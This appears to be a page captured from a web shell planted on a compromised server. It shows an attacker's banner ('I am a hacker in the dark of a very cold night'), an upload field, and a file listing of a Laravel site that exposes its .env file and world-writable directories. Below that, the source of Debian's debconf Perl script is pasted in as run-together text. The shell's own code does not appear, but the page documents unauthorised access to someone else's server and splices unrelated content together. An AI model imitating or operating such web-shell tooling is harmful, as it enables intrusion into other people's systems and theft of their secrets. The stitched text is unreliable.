I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
#!/usr/bin/perl -w =head1 NAME debconf - run a debconf-using program =cut =head1 SYNOPSIS debconf [options] command [args] =head1 DESCRIPTION Debconf is a configuration system for Debian packages. For a debconf overview and documentation for sysadmins, see L (in the debconf-doc package). The B program runs a program under debconf's control, setting it up to talk with debconf on stdio. The program's output is expected to be debconf protocol commands, and it is expected to read result codes on stdin. See L for details about the debconf protocol. The command to be run under debconf must be specified in a way that will let your PATH find it. This command is not the usual way that debconf is used. It's more typical for debconf to be used via L or L. =head1 OPTIONS =over 4 =item B<-o>I, B<--owner=>I Tell debconf what package the command it is running is a part of. This is necessary to get ownership of registered questions right, and to support unregister and purge commands properly. =item B<-f>I, B<--frontend=>I Select the frontend to use. =item B<-p>I, B<--priority=>I Specify the minimum priority of question that will be displayed. =item B<--terse> Enables terse output mode. This affects only some frontends. =back =head1 EXAMPLES To debug a shell script that uses debconf, you might use: DEBCONF_DEBUG=developer debconf my-shell-prog Or, you might use this: debconf --frontend=readline sh -x my-shell-prog =head1 SEE ALSO L, L =cut use strict; use Debconf::Db; use Debconf::AutoSelect qw(:all); use Debconf::Gettext; use Debconf::Config; # Find the end of the options for this command, and the beginning of the # command to run, which may have arguments. Break those arguments out. my (@argv, @command); for (my $x=0; $x <= $#ARGV; $x++) { if ($ARGV[$x] =~ /^-(o|f|p|-(owner|frontend|priority))$/) { push @argv, $ARGV[$x++]; push @argv, $ARGV[$x] if defined $ARGV[$x]; # skip option argument next; } elsif ($ARGV[$x] =~ /^-/) { push @argv, $ARGV[$x]; } else { # end of arguments, start of command @command=@ARGV[$x..$#ARGV]; last; } } @ARGV=@argv; my $usage = gettext("Usage: debconf [options] command [args]"); my $owner=''; Debconf::Config->getopt($usage.gettext(qq{ -o, --owner=package Set the package that owns the command.}), "o|owner=s" => \$owner, ); die "$usage\n" unless @command; Debconf::Db->load; my $frontend=make_frontend(); my $confmodule=make_confmodule(@command); $confmodule->owner($owner) if length $owner; 1 while ($confmodule->communicate); my $code=$confmodule->exitcode; $frontend->shutdown; $confmodule->finish; Debconf::Db->save; exit $code; =head1 AUTHOR Joey Hess =cut